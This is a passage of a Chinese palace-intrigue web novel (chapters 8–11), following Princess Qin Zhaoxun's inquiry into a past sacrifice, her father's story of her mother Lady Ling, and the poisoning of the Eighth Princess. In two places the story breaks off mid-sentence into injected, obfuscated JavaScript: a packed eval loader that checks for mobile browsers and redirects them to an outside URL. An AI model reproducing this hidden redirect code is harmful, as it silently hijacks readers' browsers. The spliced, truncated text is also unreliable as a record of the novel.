秦朝寻被这香也害得差些没了神志,她用手掐了自己一把,说道:“友人偶然赠得的香罢了,方子我收下了。姑娘……” “我姓路,名朝。” “路朝,”秦朝寻将方子折好收进腰间,“我知道了,若你想好了报酬可去东街的胭脂铺寻我。” 从一开始秦朝寻就不觉得路朝和她的缘分是个巧合,既然是茯苓谷的人,那利用一下也是无妨的。 小姑娘不再是那副天真无邪的表情,而是稍显了些精明,直愣愣问她:“我想进太医院,对姑娘而言,算难事吗?” 8. 第8章 听了秦朝寻出宫的消息,秦惟可是驾着马气势汹汹朝着胭脂铺来的。这铺子里的不认得自己东家是什么人,看到十二皇子来了还能猜不到么。仰慕十二皇子的人自是不少,而他也从未有正眼瞧过的,他身边唯一一个女人就只有他那皇姐—— 秦朝寻。 屋内气氛从没如此冷过,秦惟盯着一直未取下幂篱的姐姐,硬是什么狠话都说不出口了。他小心翼翼给她倒了茶,踌躇之后说道:“阿姐不需要瞒着我,我也去过阿姐前些日子去的钦天监了。” 他不等秦朝寻的回应,又道:“阿姐想要什么,阿惟能做到的都会一一替阿姐奉上。” “你知道的,我的心愿便是扶你上太子之位,阿惟,你真的有听阿姐的话吗?”秦朝寻看着推至眼前的热茶,也并不觉得口干,“我既已得罪国师,你就不应该再去添一把火。” “……我没有添火,我请了医士、送了上好的药材。国师这个人表面上看着清高,其实也是贪图小利之人,我给了些银子让他莫要伸张出去。阿姐,你能告诉我……你去钦天监是为了找什么?” 她看着秦惟,欲言又止,但秦惟多半也知道了一点,瞒着也是瞒不住的,“我在找大祭的贡品册。昨日二皇子差人送了十年前大祭所用的香烛,他也知道了我在查大祭的事情。” “二皇兄?阿姐何时与他来往了?” “这不重要,今日我去南街打探过,制香烛的药材来自漠北。漠北沙巫部在书册里的记载不全,但他们通巫术,许多人将他们视为不详。”秦朝寻缓缓摘下幂篱,她的头发被幂篱带着散下一缕,她便随意搭在了右肩,“当年声称要办大祭消除戾气的那位先国师就是漠北沙巫部人。” 秦惟颔首,答:“宫外要查的消息我替阿姐去查,这里毕竟不如宫里安全,阿姐未带亲卫,还是早日回宫为妙。” 秦朝寻今日难得笑了一下,她食指沾着茶水搅了半圈,说道:“不急,每至我生辰前几日总会有人闹腾,也不知道今年那几位又能给我送份什么样的大礼。” 西街仁心客栈,长柜前的掌柜突然被人摆的一锭金子惊醒,他含糊着骂了几句,待看清了来人的打扮,这才将那一肚子要骂的憋了回去。 他畏畏缩缩,搓着手问:“二位客官住店吗?刚好咱们客栈还有几间天字号房……” “普通客房就行了,咱们多住上几日。”说话的男子穿着深蓝色素面锦缎袍子,马尾高束,似是武将世家子弟,“掌柜的给我们准备些热饭菜送上去就是。” 掌柜连忙应了好几声,待两位随着店小二上楼了他才捧着金子放嘴边咬了一咬。 “哟,忒硬了。官家的就是阔气啊。” 翌日,胭脂铺外早早就热闹了起来,掌柜红芙更是亲自盯着以防这些来买胭脂的姑娘们打起来。 而今日这般热闹的原因就是,今早有人见着那传闻中的胭脂铺的东家化着红芙掌柜新研究出来的妆容,隔着一座桥让从教场回来的十二皇子盯着看了许久,眼都不带眨的。红芙忙到现在都不知道外头传了些什么,反正那位东家早早就出去了,如今还不见人影。 此时给胭脂铺添了麻烦的那位大东家正坐在春风茶馆楼上沐浴着大好阳光品茶,她悠闲的侧躺在长榻上,不停往嘴里送着蜜饯。 这家的茶是好茶,配这蜜饯更是一绝。许是一下子吃多了,她又找了茶来解渴,也是在这时身后有了些脚步声。春时文人墨客都爱品茶对诗,茶楼正是最忙的时候。只听扇子展开的声音,一人走至阳光下,他叹道:“这茶楼景致竟如此好!” 秦朝寻转头看过去,那名公子一袭月白锦袍,衣襟绣银丝流云纹,黑发则以普通的白玉簪子束着,眼尾带笑,折扇摆动间尽显富贵风流。 秦朝寻不禁思考起来,这是哪家纨绔? “二位公子,这处楼台已有……”店小二听到动静赶忙跑了上来准备将客人往别处引,这会儿看见秦朝寻比了个手势,于是又悄悄退了下去。 她摆正身子,不紧不慢地端起茶来,附和道:“公子既有兴致,不如坐下喝喝茶?” 这位公子也是刚注意到这儿还有位姑娘,他转动身子,腰上那玉石串成的配饰就打出清脆的声响,倒也是别有趣味。秦朝寻在宫外打扮朴素了许多,今日这身柳青色芙蓉满开羽纱裙衫又给她增添了不少韵味。 他竟是看得羞赧起来,迅速别过头,恭恭敬敬抱手道:“……在下唐突,打扰到姑娘了,我再去寻一处。” “这茶楼哪里风景最好我可比公子清楚,不过是坐下来喝喝茶,既然你我有缘,公子为何要推脱呢?” 他身后的男子轻轻颔首,似乎是得到了认同,这公子也就找了张椅子坐下。 他们所坐的这地方远处看能看到远处郁郁葱葱的山林,那山林后云雾缭绕,隐约能看到起伏的小山。秦朝寻抿了一口茶,瞳仁里充满了些许惋惜,“可惜了,若是早春的时候,从这儿看到的就是漫山遍野的粉桃花了。” “我看这条西街的热闹程度不亚于东街,来这茶楼的也多是风雅人士。在他们眼里,四季都有绝妙之景,姑娘如此伤怀,是遇了些难事?” 秦朝寻其实并不喜欢太刻意接近她的人,但眼前这位公子气质不似京城的这群贵公子,也实非难得,她也就破例默许了他的无礼。 “公子看着应当是进京不久,这京城表面是神仙都流连忘返的好地,同时也是座吃人的城,不该知道的就不该打听。公子今日喝喝茶,明日在江边转转就算是在京城走过一遭了。” “吃人的城?北离的传闻里我也只听过活人祭天的故事,而我也一直觉得光是送皇嗣并不能解恨。若我是那冤死的鬼魂,我倒希望被烧死祭天的是他们最心爱的皇子和公主,杀人,自当要诛心。”白衣公子语速不急不缓,温柔至极,他转头回望秦朝寻,脸上仍是那温润如玉的笑,“从没有吃人的城,人们编的谎怎么还将自己给骗了进去呢?” 他比太多人要看得开,这京城里有志向的人不少,可敢说的却是寥寥无几。秦朝寻当然不会相信活人祭天能改变什么,可线下并无证据证明大祭是假,与之相关的人要么死了、要么撬不开嘴。 她只有二皇子送来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992167|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那根香烛和一张无字宣纸。 秦朝寻手里的茶凉了不少,冷茶苦味浓,她忍着饮完,良久道:“公子说得对,向来是人吃人……今日能遇上公子属实荣幸,这后面的景怕只能先让你独自欣赏了。” 她起身准备离开,同时看了一眼他身后的那名蓝衣公子,不过也只是一眼。 负责保护秦朝寻安全的是秦惟的手下,他们得了秦朝寻的示意也留人跟着这两位来路不明的公子。 这次出宫或许是心里的顾虑太多了些,她仅仅几日就觉得倦了,晚些时候宫里也捎来了信。她不在的这几日,这宫里可是清净得出奇,不管这后面是否有变故,这生辰宴她也还是得出面的。 秦惟将她送到宫门口,那头小春也带了人来接,“阿姐不用担心,明日定会顺利。” 小春眉眼含笑,说道:“明日可是陛下给殿下补办及笄礼的日子,自然不会有什么差池了,十二殿下也不需要担心才是。” 及笄礼,那是女子十五岁该有的束发礼,也本该是女子母亲亲自为姑娘挽发。她十二岁入宫,此后几年与陛下再难有相聚的时候,甚至那场本该在十五岁举办的及笄礼也因为丽妃和八公主的事情一直搁置到了现在。 说到底秦朝寻还是有些不安心的。 见春宫今日的灯熄得比往常晚,直到现在屋子里也还燃着灯。窗帘已经拉下,秦朝寻却是靠坐在床头一直未睡下。 “殿下,明日宾客甚多,早些睡吧?” “小春,你还记得我十五岁那年的事情吗?” 秦朝寻在宫内这些年的生辰是过的远不如有母妃照料的八公主的。八公主秦琳即便没有陛下疼爱,那也是有着丽妃和后面的柳氏一族的宠爱,何况她的兄长秦硕在宫里也有不少大臣们的支持,这太子之位也早就朝他倾斜了。 不过最后做决定的仍是陛下,秦朝寻若是能说服她的父王,又或许能让秦硕和柳氏因此丢尽脸面。 小春举起烛灯,语气轻柔,回忆道:“我自然记得,那年八公主约着殿下赛马,若不是八公主好胜心太强惊了马,她自己也不会落下悬崖。殿下当时为了救她,上去勒马致使自己一条腿被马蹄踢中,当时六皇子看到的就是殿下控制受惊的马,一度认为就是殿下您要害八公主,甚至还告到了陛下那儿。” “公主出了事,陛下自然是要问责一番的,这也不怪他。” “殿下真的就没有恨过六皇子和八公主吗?当年殿下的腿伤成那样,陛下苛责您的时候都没让奴婢透露一丝您受伤的事情来。太医院的人咱们都没有请,到现在每至天寒的时候殿下的腿伤就会复发,整夜疼痛难熬,您也因此再不与人赛马,连教场都不与十二殿下一同去过了。” 秦朝寻其实没多少脾气,只不过是宫里的人传她暴利、眼中毫不在乎手足情谊,渐渐她将自己塑造成他们传言的模样,尽管她生得一副勾魂摄魄的脸,人们一旦想到她是蛇蝎心肠,也就无人敢靠太近。 她苦笑出声,一滴清泪顺脸颊滑下,小春熄了灯退出房中。 “他说的对,杀人确实得诛心。” 9. 第9章 徳仪宫内,宾客满座,皇帝秦燔坐于东南台阶位等候,有司托盘立在西面台阶下。 秦朝寻着采衣,散着发从德仪宫门口缓缓走进来。乐声响起,福寿公公揣着手宣道:“北离七公主秦璃,秉性端凝,资禀淑慧。幼承庭训,娴习礼度,动合规矩,静守端庄,今补行笄礼。” 秦朝寻走至台阶下,跪下行礼。秦燔不让人搀扶,缓缓下过台阶,以有司盛的清水净手,拿起了桐木梳。秦燔其实不曾给过人簪发,福寿公公站在一旁看着动作如此细心的皇帝,心里竟也觉得苦涩。 早在好几日前,秦燔放下手头的事就会拿着梳子凝思,及笄礼这种事情交由皇后那也是一样的,但这位皇帝自觉亏欠,就一意由着自己来。他没有练习过,所以会格外小心。 秦朝寻转向东南跪坐,有司奉上罗帕和发笄,一高声颂道:“令月吉日,始加元服。” 秦燔为她加上第一根发笄,同时秦朝寻加上一身与发笄相配的襦裙,面对的皇帝行了第一拜。 这笈礼说复杂也不为过,最后一簪落定,有司奉上钗冠。又是一声颂道:“以岁之正,以月之令,咸加尔服。” 长发被尽数束起,秦燔将钗冠为其冠上,随后秦朝寻同人去往东房换上与钗冠相配的凤纹织锦锻宫裙。她着礼服、钗冠出房,向来宾展示,对着秦燔行了第三次礼拜。 福寿公公抹了一把辛酸泪,继续宣道:“笈礼成!奉天承运,皇帝诏曰,今册封皇女秦璃,封号昭阳,赐金册金印,加赐珍宝无数。望其秉持懿德,以自身之美仪,为天才女子之表率,钦此——” 在座的宾客皆是一头雾水,但对于秦琳而言,比起不解更多的是生气。 她从不觉得自己比不过秦朝寻。 宴会就此开场,宾客入座,突然之间就热闹了许多。 秦惟毫不关心礼数,举着酒杯跑去找秦朝寻,喊道:“阿姐。” 秦朝寻没少打扮成这样,也可能是笈礼的原因,秦惟觉得她端庄了许多,越发有皇族贵女的气质。他发愣了一下,把酒杯举起,“恭喜阿姐,等宴会结束了,我再将贺礼送来。“ “什么贺礼你弄得这般神秘?” “十二弟的礼物向来是最有诚意的,也不知道我以后能不能收到?”秦琳缓缓朝他们靠近,也是想敬酒,“我酒量差,只能以茶代酒了。” 她看着小春端来的茶,爽快接过,朝秦朝寻举杯,等着回应。秦朝寻送到嘴边的酒杯又推了出去,并不是很情愿地与她碰上。 “八妹祝七姐,生辰吉乐,也早日觅得良人。” 秦惟敛眸,脸色沉了下去。 ……天将暮。 今日是陛下与七公主少有的团聚的日子,福寿公公得了令来请人前往养心殿一叙。 轿子很快在养心殿外落下,秦朝寻由着小春掀开帘子扶了出来。她是甚少来过养心殿了,从两年前开始。 今夜并不冷,秦燔让人备了香茶,秦朝寻一进正殿就闻到茶香四溢。两面窗户大开着散了热气,屋子里舒服得很。 秦朝寻正要下摆,又听得秦燔一声“免礼”,不过她还是拜了下去。 头磕得一声闷响,她声音尖锐,说道:“儿臣拜见父王。” 秦燔看着她,问:“朕今日赐你封号,你可是不喜欢?” “儿臣不敢。” “回答朕。”他这一声极具天子之威,又发觉过于严厉,语气开始缓和下来,“今日是你的生辰,朕想像在蜀州那时一样,与小寻说说心里话。” 秦朝寻不为所动,只是说:“无论如何,朝寻与陛下,再也回不到蜀州了。” “……你过来听朕说个故事,如何?你该知道的,关于你的母亲。” 跪地的姑娘不可置信抬起头看着这位帝王,眼里的泪珠控制不住地围着眼眶打转。 帝王平平淡淡开口,垂下的眼睑遮住了伤感。 “她叫灵夫人。” 她几乎没有听过这个名字。入宫以来,那些皇子称她是没有母妃的乡里野孩子,甚至是贵妃都曾试探她说她的母亲是最下等的烟花女子,没有封妃,名字都没能留下,不过是有几分姿色得了圣宠。 他们的话都没有直接证据,甚至是宫里的老人都不知道她母亲的名讳。 “那是永平十二年,游诗会上……” 永平十二年,北离游诗会均是盛名而来的文人墨客。那时的秦燔年二十八,仅是一个徒有“太子”虚名的不受宠的皇子。 今年诗会的出题是“桃花”,但这题目先不说先辈多次作过,这每年试题也会出几次,实在是让人头疼。 唰—— 剑出鞘,出剑动作轻柔,竟也能御风使得湖心小岛的桃花随剑舞动。女子一袭白裳,身上却是一尘不染,也没人看见她是如何去的那湖心岛。 秦燔此次负责招待游诗会的贵客,他站在游廊上看着湖心的白衣姑娘,问身后的侍者,“那位是什么人?” “那是我们家姑娘。”说话的是一个蓝裙姑娘,她手里抱着一把蓝色油纸伞,一脸羡慕地盯着湖心舞剑的姑娘。 身后的侍者上前一步,小声同太子秦燔说道:“回殿下,那位是东川的贵客,灵夫人。” “灵夫人……” 灵夫人的这一出剑舞得了不少人的夸赞,本无头绪的文人墨客也是被她点通了似的,纷纷叫人拿了纸好记下脑子里一闪而过的灵感。 手忙脚乱的贵客们再抬头往湖心看的时候,那湖心的姑娘早就消失得无影踪。 灵夫人的身法轻盈,若是方才眨了眼,秦燔都不一定能看看清。 身后的侍者一脸懵地看了一眼秦燔,没忍住问:“殿下这……” “小姐,要去诗会上看看吗?我听说外面这条街也很热闹,稀奇玩意儿咱们也带些回去吧?” 蓝裙姑娘说了好一通话,帮她收了剑,却也没听到回话。 灵夫人看着对面等的男子,貌似很清楚他的身份,问好道:“见过太子殿下。” 秦燔没有表现出来自己的震惊,只是反问她:“姑娘认得我?” 她低眉释笑,只说:“菩提村,有幸见过太子殿下清剿流寇。” 菩提村是北离最偏的镇子,而东川来北离必先经过菩提村,这地方流寇作乱频繁,秦燔也是剿匪途径那地。皇帝一直觉得菩提村的流寇棘手,其实也不会派人特意去一趟。 “菩提村吗?” 灵夫人知道他当是不记得的,抱着伞行过礼就走了。 另一位侍者不疾不徐开口说道:“这位灵夫人是东川灵族的大小姐,在三国之中也是被称为女中豪杰的存在。她虽不通琴棋书画,但骑射可是连上过沙场的将军都有称赞过的。” “她虽被称作灵夫人,不过她却未成亲,也无未婚夫婿。” 秦燔回头瞥了他一眼,那眼神像是在质问:说这些与我有何干系? 游诗会连着三日都是热闹至极的,灵夫人的住处与他只隔着一堵高墙,每日辰时和戌时在院子里都能听到灵夫人舞剑的声音。她的侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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灵夫人笑得丝毫不做作,总能让秦燔看得入迷。他也不知道这姑娘怎会随身带着酒坛子跑,不等他问出口,灵夫人就把一碗好酒递过来,好像能听到他的心声一般。 “我是追着太子殿下来的。”她看着秦燔小心接了酒,笑容更加明媚了,“太子妃确实是北离少有的美人,不过我们东川人的第一感觉总是很灵验的,这晋城,太子殿下还是不要去的为好。” 秦燔没再看她,嘴里的酒使得喉间滚烫。 “这是北离的事,灵夫人评判不得。” “我知道我是一个外人,殿下今夜可以想想,那封密函是真的吗?一个送信的太监怎么会将这么重要的信交给一个还未入东宫的准太子妃呢?” …… 桃花山院内,纳兰蕊坐在窗前将那副牡丹花绣好,恰好听到脚步声,满心欢喜往院外看过去。 “殿下?” 来者并非秦燔,不过他面容与秦燔颇有几分神似。翼王秦之,他是秦燔同父异母的弟弟。 纳兰蕊放下手中的针线迎上去,将那牡丹花亮给他看,“殿下,您看,蕊儿的牡丹就快绣好了。” “蕊儿,我的计划就差这一步了,你可愿再助我一次?”秦之说得很是真切,也让纳兰蕊一时间又昏了头。 她靠在秦之心头,答:“我当然愿意了,殿下不必与蕊儿客气。” “那蕊儿,这份恩情,本王来日再报。” “咯。“ 纳兰蕊低头,看着这疼痛的来源。秦之袖中早就藏好了匕首,等着纳兰蕊被她哄骗放下戒心的那一刻,他毫不犹豫下了杀手。 “秦之……你为何?”纳兰蕊被他一手推开,他身未沾血,居高临下看着倒地的女子。 “蕊儿,不用担心。即便死了,你也永远都是北离的太子妃。” 10. 第10章 纳兰蕊的死讯很快便被传进了皇帝耳中,纳兰丞相更是哭了一路将纳兰蕊的尸身运回京。 丞相是跟了皇帝几十年的老人了,即便没有功劳也有苦劳,何况纳兰蕊已是待进东宫的太子妃,她的死定然是不能草草盖过的。 在许多人眼里,纳兰蕊一直被翼王秦之当作亲妹妹一般照顾,如今纳兰蕊死了,他也装模作样过来边哭边和丞相一起请皇帝好好彻查她的死因。 “桃花山院的人有何说法?” “回禀陛下,那边的人说,前夜纳兰小姐与太子殿下有过一番争执,后面太子殿下先离开了桃花山院。纳兰小姐的侍女是晚些时候去送膳食才发现人已经没气的。” 山院的下人和纳兰小姐的侍女都将罪过往秦燔身上引,皇帝就算不信那也是没有办法的。众目睽睽下,皇帝不得已问太监:“太子呢?他人在哪?” 太监转身,战战兢兢下跪答:“太、太子殿下前夜就带着人走了,像、像是往晋城去的。” 这段日子有不少人上柬皇帝说太子秦燔与镇国大将军来往密切,恐有起兵谋反之意。皇帝对太子总是冷淡的,朝廷上,太子每每进言都会被百官极力反对,长此以往,不少人都觉得这谋反之事他肯定也是敢做的。 翼王秦之跪下,倒真有几分情真意切,“父王!儿臣早已将蕊儿视作了亲妹妹,她明事理,定是为了劝阻太子哥哥误入歧途不成才被灭口的,儿臣恳请父王,让我去亲自去请皇兄回京,以免他再次酿成大罪!” 皇帝深思熟虑了片刻,许秦之带着人马让他务必赶在秦燔到达晋城之前将他带回来。 另一边,秦燔与灵夫人在菩提村别过。 灵夫人上了马车,静了好一会儿,淡淡道:“太子殿下,希望这不是我们见的最后一面。” 蓝裙姑娘也拜别秦燔,后一步上了马车。 秦燔的侍卫不得不好奇起来,“殿下,你觉得东川的这卜的卦对吗?大将军识人最有一套了,南都的奸细怎么会揪不出来?” “今夜先在菩提村落脚吧,明日就能入晋城一探究竟了。” 第二日,秦燔和自己的手下准备启程进晋城,却没想到秦之带着人马夜里不停歇地赶路,现在就在晋城外等着他。 “皇兄,父王有令,还请你随皇弟回京。” 秦燔预感不妙,问他:“翼王为何在此?” 秦之狡黠笑道:“皇兄还在装不知情吗?来人!将太子拿下!太子身边若有违令者,斩!” “翼王殿下为何无故拿人?太子殿下犯了何罪?”秦燔的侍卫率先拔剑,毫不示弱,“陛下可有下旨?” “我带的可都是陛下亲赐的人马,丞相之女惨死桃花山院,当夜,纳兰蕊只见过太子一人,太子若是有辩解的话,可以现在随我回京,好好同陛下解释。” 秦燔神色复杂望着秦之,“纳兰蕊为何会死?” “拿下他们!” 回京后,秦燔誓死不认纳兰蕊的死与他有关,皇帝一直没有明确秦燔是否有罪,只是下令给太子禁足。 翼王府安静得让人全身颤肃,整个府内挤满了士兵,正堂内,秦之拔出了那柄破军剑好生擦拭了片刻。 “殿下,人马已经集结完毕,随时可以进宫。” “我那皇兄还在宫内吧?也不知道他出来以后看到永清宫的惨样会作何感想?”秦之已几近癫狂,他本以为杀了纳兰蕊能让这计划完美闭环,没想到皇帝还是不愿废了秦燔的太子之位,“父王,这也怪不得我了,我可没有耐心再陪您演这父慈子孝的戏码了。” 永清宫中,皇帝还在批阅奏折,屋子内的窗大开着,也是觉得冷了些,这才叫了公公过去关上。 公公瞥见外面的侍卫都有些面生,这几日皇帝都没怎么上朝听那些大臣们弹劾太子,而且这几日也没有换过永清宫的侍卫才对啊。 “丞相是跟着朕三十年的人了,他丧女心痛,朕也是跟着难受的。但朕更清楚自己儿子的品性,太子在朝堂上处处受制却也从未有埋怨,朕都是看在眼里的。” 公公走到皇帝身边,说话都有些结巴了,“陛、陛下……老臣看这屋外好像不大对劲。” 皇帝将狼毫上的墨轻轻沥过,貌似是无从下笔,他这动作在空中停滞了许久。 “……如今朝中多是支持翼王的,他野心太大,北离若是交到他手里,只怕会陷入无止境的战乱。” “父王就是如此看儿臣的吗?” 永清宫外聚齐了许多士兵,翼王秦之手持破军步步逼近正殿。 “大胆!竟敢持剑闯进陛下寝宫,给我拿下!”公公勃然大怒,可永清宫的侍卫却没有一个听从他命令的。 皇帝放下狼毫笔,又合上了奏折,笑着问半只脚已踏入殿中的秦之,“翼王布局这么久,就是为了今夜?” “父王,北离的险境光是靠您的方法是不行的。那诅咒要靠我们北离王室的血来化解,若是我能统一三国,这诅咒也能一并破解,到时候我们北离王室就不需要做出如此牺牲了。” 秦之的破军剑已至皇帝眼前,他这副身子是难以逃跑的,皇位之争向来残酷,如今的皇帝也是踩着不少人的鲜血才坐上这个位置的。他抬头看着秦之,重重叹息,“要到什么时候你才能明白,这张龙椅并不适合你。” 永平十二年,春始,翼王秦之血洗永清宫夺权篡位,但他的人翻遍整座紫禁城都未能找到传国玉玺。 永平十三年初春,翼王以代皇帝掌北离,同时派人缉拿消失在东宫的太子秦燔。 这个时候的秦燔是最狼狈的。秦之血洗永清宫那夜,皇帝已提前让人将传国玉玺交由他,让他带出宫,后面他开始躲躲藏藏的日子,这一藏就是一年。 这一年里,秦之拿着半块虎符调动军队与南都国开启混战,死伤惨重,由于连连败退,他忽然想起了消失许久的秦燔,想着拿到传国玉玺正式继承大统调用镇国大将军的军。 北离和南都的战事很快传到了东川,灵夫人听过故事,也问了北离太子的下落。 “太子秦燔带着传国玉玺至今下落不明,不过我猜他啊……兴许也活不了多久了,毕竟翼王秦之不是什么善茬,他连他的父王都能杀了,还不敢杀一个没受过宠得太子吗?” “不过这也怪他自己了,当日小姐可是劝了他好久的,他执意要去,最后着了别人的道也是应得的。” 灵夫人不语,孤身前往了神灵堂。 东川信奉神明,而这先饶神就是他们唯一供奉的神 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“我愿意。”灵夫人抬头看着神像,眼中没有犹豫,“若这是一个平等的买卖,我愿意。” “好,我知道了。”他的声音消失了一会儿,但很快又重新响起来,“他如今在你们初见之地,你可让人去寻他。同时告诉他,传国玉玺与镇国大将军的虎符,调动万军,足以与翼王一战。” 那个时候的秦燔其实已经厌倦了这个逃亡的日子,他很想撒下这烫手的传国玉玺离开,可每每有了这种想法,心里都自觉愧疚。 逃避,那就是懦夫。 从秦之掌管北离开始,镇国大将军驻守的晋城就一直是紧闭着的,不仅秦之的人进不去,秦燔也是一样。秦之想完全掌控北离,就必须要收服镇国大将军。 一日,秦燔收到了东川的信,信中就是催促他必须要前往晋城协同镇国大将军破解如今的僵局。 永平十三年隆冬,太子秦燔协同镇国大将军斩杀代皇帝秦之,登大宝。 此后十多年,秦燔一直忙着处理秦之弥留的那堆烂摊子,也无心去查东川送信的人。 升平十二年,又是一年游诗会。 年已四十的秦燔故地重游,不过那湖心岛早就改了座亭子,水上也搭了桥好让人能去湖心亭子里赏着开满一树的桃花。 “陛下在此,客人还请回避。” “我也是来赏花的。” 这声音一如往昔,立刻唤起了秦燔的记忆,他扭头看过去,岁月早已在这美人脸上留下了太多太多的痕迹,秦燔眼泪珠子在眼眶里打转,轻轻唤她:“灵夫人……” 如今的秦燔已是后宫无数、子嗣满堂,却迎来了他此生一见钟情的姑娘。 此后一年,他与灵夫人过着寻常到不能再寻常的夫妻日子,也有了他们的孩子。 可是这好景不长,灵夫人生下孩子的那夜就独自离开了宫,秦燔派人找了许久,甚至是去东川问过。 …… 六旬的秦燔喝着秦朝寻替他倒的香茶,尝不出一丝味道,“后来他们告诉朕,你母亲在游诗会上已经是强弩之末,她经脉尽断,再无回天之力。” 11. 第11章 时至今日,秦燔也依然懊悔。 他应该早些同灵夫人问清楚这些,这样他也有机会好好弥补他们空缺的那十多年。 “朝寻,朕欠了灵夫人一条命,当年她产下你,朕就将你送往蜀州,为的就是让你能安然无恙长大。同时也能免于成为祭天的贡品。”秦燔眼里浮现薄薄的悲凉,手紧紧握住茶杯,像是在与自己较劲,“所以,朝寻的愿望还是想让朕扶持惟儿吗?” 秦朝寻低眉看着渐凉的茶水,语调淡淡的,“陛下会因为朝寻改变想法吗?” “作为朕的儿子,朕对惟儿确实有亏欠。惟儿的母亲是镇国将军唯一的妹妹,当年翼王落败,他的余党也一同被朕拔除。那时的将军府小姐未出嫁就有了身孕,这事情传出去肯定会坏了将军府的名声的,所以朕让她进宫,封了侧妃以平流言蜚语。” 她不敢想皇帝帮助将军府的真正用意,此刻她仅能沉默,等着这场寒暄结束。 一阵风陡然吹进殿中,煮着茶的火跟着被吹灭。 福寿公公从外边跑进来,竟也忘了请示。他扶着腰轻轻锤了两下,说着:“陛下,八公主她中毒了!” 秦琳中毒的时机太巧合了一些,这夜里秦朝寻也去八公主所在的秋棠宫看过一眼。丽妃娘娘满脸焦急问过每一个从屋内出来的御医,一个好的答复都没有。 六皇子秦硕冲进来抓着太医,问:“琳儿这是中的什么毒?何人下的?” “殿下息怒,这毒是普通的夜来香,臣已让人先去抓药,服过一次,明日八公主就能醒来了。” 太医信誓旦旦这么说的,秦朝寻看着并不是多大的事,既然这毒有方法可解就没什么好大惊小怪的。 是夜,廊下灯笼在风里止不住地晃动,丽妃娘娘动作狐疑扫了一眼四周,进了暖阁。她将熬好的汤药吹凉给秦琳喂下,而后晃了晃昏迷的姑娘的身子。 她声音极小,唤道:“琳儿、琳儿,琳儿醒醒了。” 床上昏睡的人没有任何回应,也是服药后的一瞬,秦琳的脸立刻没了血色。丽妃手抖着去探秦琳的鼻息,顷刻,手中汤药倒满一地,贵妃几近失态地大叫起来。 “啊!啊!啊——” 秦琳死了,秦朝寻是听下人这么说的。 小春帮秦朝寻将茶叶分装好准备送些去将军府,她们见春宫除了十二皇子也很少会来新的客人,今天秦硕到访亦是意料之外。不过他来的时机不对,身后这些侍卫也不怎么和气。 小春刚包好茶叶,看着不请自来的六皇子,说:“六殿下如果要找咱们公主,可以先让人通报一声。” 秦朝寻从别院过来,看着来势汹汹的秦硕,眼眸里划过一丝凉意,“六皇子不去查一下那咒八妹妹死了的流言蜚语,怎么还往我这见春宫跑?这么多人,是……来示威的?” 他森冷的眼眸里藏着杀意,怒道:“邵阳公主一手好算盘。昨日宴会上你的侍女给琳儿送的茶,邵阳公主应该还记得吧?” 秦朝寻点头,“有此事,可那又能证明什么?” “既然邵阳公主已经承认是这贱奴做的,那我就先替你好好问问罪,看看这贱奴背后到底有没有人指使。” “你们想干什么?放开我!”小春被蜂拥而上的侍卫挟持住,如何反抗都挣不开。 “六皇子就算要拿人,也得有陛下赐的文书!” 秦朝寻想上去将小春拉回身边,但秦硕的人也提前料到,很快就把人给带出了见春宫。她气势汹汹,眼神中就能看见刀子一般。 “六皇子若是敢动我的人,我必会让你后悔。” “待我审问一番,就知道了。” 秦硕这般架势是不带犹豫来见春宫发难的,八公主中毒身死固然要彻查。宫里的人都知道的,秦琳也只与秦朝寻结过梁子,同为公主,秦琳有母妃、兄长的呵护,无人倚仗的秦朝寻嫉妒她也是常理。 秦朝寻对嫉妒秦琳这事无法反驳,但她也不至于用毒杀这么愚蠢的办法杀人。 她和秦琳可没有恩怨,倒是秦琳,她当时又是怎么想的呢? 秦硕带走了小春就撤离了见春宫,宫内的其他下人也都被方才的阵仗吓到,也没一个敢出声的。 “……秦琳现在在何处?”她这话说得急,也就直接唤了八公主的真名。她眼里忽然蒙上了一层杀意,若是被人瞧见,恐怕也会吓破胆。 侍卫长上前一步,告诉她:“八公主如今还在秋棠宫内,丽妃娘娘昨夜就一直昏迷未醒,六皇子调了半个太医院去帮忙吊着八公主的命……” 吊着命,那就是还没死透。秦朝寻空嘲了片刻,带着自己的羽卫往秋棠宫去。 秦硕那边正抓着小春去慎刑司。就算他想让人替八公主陪葬那也须拿出证据,私下用刑被皇帝追究起来他也难保自己皇子的身份。他虽心思深沉,但也不是容忍小人作怪的性格,谗言佞语他听一会儿就行,并不会轻信。 秋棠宫如今大敞着宫门,这些下人看着邵阳公主下过马车直冲暖阁去,还是稍稍替主子拦下了她。 前头这嬷嬷是丽妃放在八公主身边的亲信,一心也都是向着主子的,“邵阳公主殿下,六皇子有令,除了医师,谁都不可进八公主所在的暖阁。” 无能为力的医官们站在院内个个提心吊胆,秦朝寻只瞪了这嬷嬷一眼,她这便没敢继续拦着。 秋棠宫里早早备好了白幡只等暖阁里的人彻底没了气就能挂上。秦琳还有一口气,这宫里的所有人就都得吊着这颗心做事,但凡有了什么岔子,谁都躲不过的。还有这素来与八公主不和的邵阳公主莅临,担心她从中作祟的人那也是有的。 秦朝寻欲往暖阁去,身后又是马车声落下,只听嬷嬷唤道:“费公子。” 单说京城姓费的公子她不认识,不过能与秦琳有关系的貌似只有那个八公主的驸马费萤了。他态度很是傲慢,脸上无半点担忧。 这人走到嬷嬷面前,低低开口,“八公主可安在?” 嬷嬷不敢乱说话,只说:“若是听闻公子关心殿下,她醒后定会高兴的。” 费萤的脸上明明写着“厌恶”,这嬷嬷也只当做 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秦朝寻也才发现,在暖阁西侧那层珠链下,一个小巧的影子分身乏术一边控制熬药的火候、一边小心翼翼夹着药打称。 这模样看着熟悉,声音更是。 